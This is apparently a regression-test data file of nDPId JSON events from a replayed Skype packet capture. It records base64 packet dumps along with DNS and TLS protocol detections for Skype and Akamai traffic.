+00550{"flow_id":108,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1541,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":704558,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACD\/zhAADMGtQ2dODQswKgBIgG7yC\/usf9MunqupIAYAB2f3gAAAQEICkxoH3A+MeCzFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":108,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1542,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":704673,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoElNAAEAGlU7AqAEinTg0LMgvAbu6eq6kAAAAAFAEAADppwAA"} +00449{"flow_id":244,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1543,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":724401,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA822VAAEAG\/qvAqAEiUVNNjchbROcBp2cbGMO5FYAYECk5qAAAAQEICj4yXMAAvBW1LtP9fnVyMSs="} +00448{"flow_id":247,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1544,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":742396,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8CCFAAHQGnfBRU02NwKgBIkTnyF6euo9OZ6uCVqASIADwZAAAAgQFrAEDAwgEAggKALwWGz4yXI0="} +00436{"flow_id":247,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1545,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":742518,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ToBAAEAGi5nAqAEiUVNNjcheROdnq4JWnrqPT4AQECwuuQAAAQEICj4yXNIAvBYb"} +00526{"flow_id":247,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1546,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":742646,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"0NQSxnP1PBXCt3IOCABFAAB1kMVAAEAGSRPAqAEiUVNNjcheROdnq4JWnrqPT4AYECySSAAAAQEICj4yXNIAvBYby8tS9MTHLgFjGknYMFekESVB0jUOlH1C4x7Mw8wCdJJj7uvXkn4uEXzHzsbXaKtdlXyx8K2kd9KZ2WP467r6YGY="} +00449{"flow_id":212,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1547,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":780604,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8MjlAAEAGve7AqAEinTfrkshMnFVVB2tZ4fDnQYAZEClYcAAAAQEICj4yXPhMYN9f7d463h6NxxM="} +00476{"flow_id":247,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1549,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":806508,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"PBXCt3IO0NQSxnP1CABFAABQCCJAAHQGndtRU02NwKgBIkTnyF6euo9PZ6uCl4AYAQLqLAAAAQEICgC8FiI+MlzS9agm4SRA7VPs5Pz8dIy63dEuZhb0JUIs8OatYQ=="} +00437{"flow_id":247,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1550,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":806587,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA02q5AAEAG\/2rAqAEiUVNNjcheROdnq4KXnrqPa4AQECsuFwAAAQEICj4yXREAvBYi"} +00437{"flow_id":244,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1551,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":806797,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OaNAAEAGoHbAqAEiUVNNjchbROcBp2cjGMO5FYARECkMTgAAAQEICj4yXREAvBW1"} +00460{"flow_id":247,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1552,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":806983,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"0NQSxnP1PBXCt3IOCABFAABEOdJAAEAGoDfAqAEiUVNNjcheROdnq4KXnrqPa4AYECtAgwAAAQEICj4yXREAvBYi1vG6G0jJykjTop9rpZwwsQ=="} +00448{"flow_id":239,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1557,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":866858,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ZXBAAEAGJdTAqAEiTKehBshYTzLHdCYHEv4ezoAYECqKiAAAAQEICj4yXUy+r7k1zWOVyLN8y6I="} +00456{"flow_id":247,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1558,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":871899,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCCCNAAHQGnehRU02NwKgBIkTnyF6euo9rZ6uCp4AYAQLrqQAAAQEICgC8Fig+Ml0RRkfzpMhG79ma7OWq3sU="} +00436{"flow_id":247,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1559,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":871960,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ZgNAAEAGdBbAqAEiUVNNjcheROdnq4KnnrqPeYAQECottAAAAQEICj4yXVEAvBYo"} +01460{"flow_id":247,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1560,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":873912,"pkt_caplen":818,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":818,"pkt_l4_len":784,"pkt":"0NQSxnP1PBXCt3IOCABFAAMkgnlAAEAGVLDAqAEiUVNNjcheROdnq4KnnrqPeYAYECpXYgAAAQEICj4yXVIAvBYodXZHldF9QGOZI5wf\/3cT9KeWznnCxwIwZ\/nP8+m+x+EfZ4kYTAUriEy1wv82uE6B8PDGw\/q+0CMTT2dE97GP5Km\/HyOue8wf6jszaaFm9ExFQK0H\/iZbf5bXQ88z\/iVxpdPwvYECUX2N9UKgMPfbURA+snVC5w8EmL1z9BuonFHboTj14OfZ64tiSacMnOrWum9hclebkhUzENdmuQSAFc3aXqQEERF7XBmEgQawj2H8T5VoPp17eGjZuC+I+ZgWI1r+7x8\/O20vPv2Jfn8x1OMGUkAvz0Fr+G7X4K1Nw1ubdXVS6OLMv88FpDGjm3LnKFSdzOjHNmnMS4+ijEC6VE4YE35GimP67XZFjF6BisbUlsLocY93RPUWPEp83oiBTRAtciAWtn\/EvACvLYZepUbOX6mdttdrvfttl0jQGUYQQJxrdS+RVYEzcDu+PyhIQqvpjIO\/DRzRJJAkUtFhjhiaFq1t5smRHj\/m+h+AerTZc6nWF5gJEcpGlLR20YM219bBrUhio4jx5PSjw3S1apkSwmfHqQME5fdt77oNNwn4Kjl7cnZfCKDl2Vy6Es0MN47mEY7etW6R\/6u1wFIWi2JUuG1ZdprRaUysfBAe6TajKv6+02Iuso9xVgVDG\/aGk61d7RFEBe0fE00x9ZxZ8+J5uoM1kG2X55qe38rnk44eeQ+X\/pMrVN+ZFnf4B6XG+crgehWRgO994qlB+UUjuX9f1fvstNtdXuSin27nq0NJaLjiGjvfZrUJtllSXbMtlTctwueuAv8bZFvCSbDiY8FdfgsO74qJPVcHCQFTIZ2WHB4MGVrOcbljhi3IijxKdGcLjMmGDHGVJaGdnd4ND\/COYWaikEuIklkWOn9CV\/5SA72Bhe2fbUAOhdFutRGrFeIH7rBaciwjCVw1Qsj5Xsz8RLM1482TuOCtWTYdFJ9AGAv72AD9qqW0MCIOnqqZlGjx3QvzkM1A\/6SZwL8ijEAJat3C4ohCy1YI5TAZ2+w="} +00449{"flow_id":175,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1561,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":889519,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8BEZAADcGw7xv3UoSwKgBIpxZyEOVl6nVAf6GuYAYAB0mLgAAAQEICk12vhA+MhpuMev4eAbgEns="} +00422{"flow_id":175,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1562,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":889616,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAojT5AAEAGMdjAqAEib91KEshDnFkB\/oa5AAAAAFAEAABG0gAA"} +00457{"flow_id":247,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1563,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":938644,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCCCVAAHQGneZRU02NwKgBIkTnyF6euo95Z6uCp4AYAQLP0gAAAQEICgC8Fi4+Ml1Rr47tqqRVwqAsJw7uLag="} +00437{"flow_id":247,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1564,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":938796,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0x8dAAEAGElLAqAEiUVNNjcheROdnq4WXnrqPh4AQECoqcAAAAQEICj4yXZEAvBYu"} +00435{"flow_id":157,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1565,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":2958,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA04rlAADcG4dRv3U2OwKgBIgG7yDsQofUZ9u6LaYARAB3jKQAAAQEICk2QKuQ+MguP"} +00437{"flow_id":245,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1567,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":35437,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rv1AAHMGR0NH7gfLwKgBIklPyFwwtyQL6QVekYAQ\/6FQNQAAAQEICgMcyZg+Mlx2"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1570,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1431970690133,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":59788,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":248,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1570,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":133876,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"0NQSxnP1PBXCt3IOCABFAABEeJ0AAEARfpjAqAEiwKgBAemMADUAMK9udVgBAAABAAAAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1570,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1431970690133,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":59788,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00480{"flow_id":248,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1573,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":190958,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"PBXCt3IO0NQSxnP1CABFAABUAABAAEARtyXAqAEBwKgBIgA16YwAQDU7dViBgAABAAEAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAAAsABBfOIaY="} +00682{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1573,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":2,"flow_first_seen":1431970690133,"flow_last_seen":1431970690190,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":59788,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.206.33.166"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1574,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1431970690191,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":51295,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":249,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1574,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":191533,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA15NAAEAGZ+bAqAEiF84hpshfAbtO4sWoAAAAALAC\/\/\/AXwAAAgQFtAEDAwUBAQgKPjJehwAAAAAEAgAA"} +00437{"flow_id":247,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1575,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":206670,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0CChAAHQGnfFRU02NwKgBIkTnyF6euo+HZ6uFl4AQAP85vgAAAQEICgC8Fko+Ml1S"} +00446{"flow_id":247,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1576,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":206744,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4hhxAAEAGU\/nAqAEiUVNNjcheROdnq4WXnrqPh4AYECow1QAAAQEICj4yXpYAvBZKrPlLdA=="} +00448{"flow_id":249,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1577,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":235132,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADkGRn4XziGmwKgBIgG7yF8ZBQnnTuLFqaASOJBGLgAAAgQFrAQCCArsPkNyPjJehwEDAwU="} +00436{"flow_id":249,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1578,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":235236,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0z6tAAEAGb9rAqAEiF84hpshfAbtO4sWpGQUJ6IAQECydKQAAAQEICj4yXrLsPkNy"} +00666{"flow_id":249,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1579,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":235915,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbrhlAAEAGkMXAqAEiF84hpshfAbtO4sWpGQUJ6IAYECzJfgAAAQEICj4yXrLsPkNyFgMBAKIBAACeAwFVWiOCVbYrRciiFbDPyo4FvK6EfrMUp8GvYuL\/j8yxbgAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1579,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":4,"flow_first_seen":1431970690191,"flow_last_seen":1431970690235,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":32,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":51295,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"apps.skype.com","ja3":"3d49c0a7161d6636fcb6973f14e05046","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +01972{"flow_id":247,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1580,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":333177,"pkt_caplen":1190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1190,"pkt_l4_len":1156,"pkt":"PBXCt3IO0NQSxnP1CABFAASYCC9AAHQGmYZRU02NwKgBIkTnyF6euo+HZ6uFm4AYAP9vFQAAAQEICgC8FlY+Ml6WZA1g8kk3GRuW+KdN6BJiQG9J69exPkyGs0ohXWvcAnmDzlQx3ARJW5a\/NMvmkXHzZrnkSO+cYBxS+HHmrSjMf9WXi8xCwDYqSxEsxcOXx5vfgrn3i6sOTtn+VIggdKtv8l0YwS7cBkFvJuBhz1ZB03Yelzn+JZ\/EwEhl861pnKSOIj0SlnN6Ucn6o2kFZ8MvUPzVs5akmAtSdBkw5wGbhMiPlAsgmEROrUJq8QL7cUIs5VtRE38r+u7uOSviuIKzgV45OgzuEtzVzWiqeGlboSATHAFcolwRwCJsLJ56+T5pe2irWd6YTymhpmuEJHUoOrWdA15yfKX2\/LfLr5vuv6mdQuNSEDffkAHQZOmQj4pr2wxAVUEwi0iXuSuoggqgYSMVyL\/1+EsC8Gj58\/jy6zpzZa6jLRP0FlqYD\/kc\/c1Rz\/5M7ydbSzwHlpt4RInMaFzDO9QKjtCKqJwp417ZVPnvnGODc\/9BbXUPAkG0P9ABebCPKUHek9gSIv8FrGQqd5bGAEBO6qb8iVdU9gPCC4vtzmWduKwbsf\/fUENnbDWZlDUiLst6t5OH1UlwuLbGoan8+GykB\/V5yI3\/mo0YvFhY59jFrjPg0y6ZHrZ0X9mPiCc8bpC8a+OXbuOEtwvoCadGhesO6pdBVWvhqrDdfB9YrifFI6gnnI4zDOJG6AT3gn+brq7P6qvY\/aXN0MJeSHRTO8fi4UYACLQxefEBocbn6ph1l+zzY+OU\/XCYve0HNpisxsphLsjR2ybXm5Jws6kxpr0XUMLkJIuv5wk5AJl6dYTvXtHc4EcXaawHTY8qL4aNG58iheg6Iz6k8gYyKPYm12dYc0ZMNyRAxp+26L\/HaKuFDdZAxHxK\/V1LSG54qKeG3HtEI4JDGO2jO4HKX1M+\/7X6UdODTuC6cPSCTpseicKMqzdEQ+Y7itD+RR\/IVvbHGRiBDvIPsnJNmz0Nmh+xLOHnOWaDlTC3c7idHCWcSgEy9oZsR71JjHjnb+c6joR4MalTrmmjinxHJRgAZG37paIiBxqdVUJ8z+SUf0x0hUYH5S8aq4D3xRtsoFbSymyv3ZHr+ZhpN\/7ZLdq8jzl3DAH4\/ql8jU2zPJGuj3XZ4WId\/\/Eg75ZoN\/A7z036pB5QlVZWNVzSaMDMw+GI7MxklsSJ5D9IG\/r7XTMnDOjlR52fUn4cAeII0ypdoxOrqOtfZ\/eHNjj1E7LpV1vdL9emUQR7HsYjMc6Q6nmzn\/RA4ERci2vskCRr4GvqtPGgphmNH9boDKLkX3J0Jg966lJJnjyUaDpG8W8HKl5CidnLzMlhipj71z+4P43t\/IAjaSd5SzsEWoj6KCFHaJc3UyUSnHEydmWcXflIJTTREgfPpP3SDpgorfOHczhAo7b4n75SO+z9x3297AaYh5+btRw0SkKxPkqqk1k6CCcJG59y\/fr63wHObnGNYR1h47yWAx33eRhH3LAEnm04knA\/+hCxBGyaeUj5oavl2Rif+iRPaLk="} +00449{"flow_id":241,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1581,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":333196,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8mLNAAEAGH2nAqAEiBfi63chaeSLm2Z7HnfKa24AZECiODwAAAQEICj4yXxMAAJTxinTTcj1jiGY="} +00449{"flow_id":213,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1594,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":556703,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8XFFAAEAGk8zAqAEinTfrnMhNnFpJkZ6byTsrQ4AZEChL2wAAAQEICj4yX+lMXOPPdjjDMntxC5I="} +00817{"flow_id":127,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1595,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":575454,"pkt_caplen":343,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":343,"pkt_l4_len":309,"pkt":"PBXCt3IO0NQSxnP1CABFAAFJkcRAADIG5BNsoKNswKgBIgG7yBaV3S2BiZUuZoAYACriDwAAAQEICmGA7TM+MenuFwMBARDHtatnK4WgfmkFbFzV4JVQSVlXKbKyzr7vOkFjQGhuB\/WROlzUS5doe1J0ZJIV41VIjcRRL4cichOCq81fcjdO\/eFcAU7JUcZV7SjgJcMEs4O\/li\/rj\/vhqAJGTpCcO3RAwdBqjgwAVl50e6culhErF7qcMRSEt0Ae5eYxdctlDeNAJHWqYtKo+B1QkVJdScjA27RDKW9squCjJi125sythaPySMYuniptSdL1gIcNah0vb02UDhDO9afyMXcgLBgHoOkqOp9AtmWHbPANHU0UE\/WgaLlloKSnu48bpWhbYtAile2tTnBAyc1Od7+57tDPUQ8GMLet6RFpk1iaROZn5M9jwk+4T7bhq9EsTvbAYg=="} 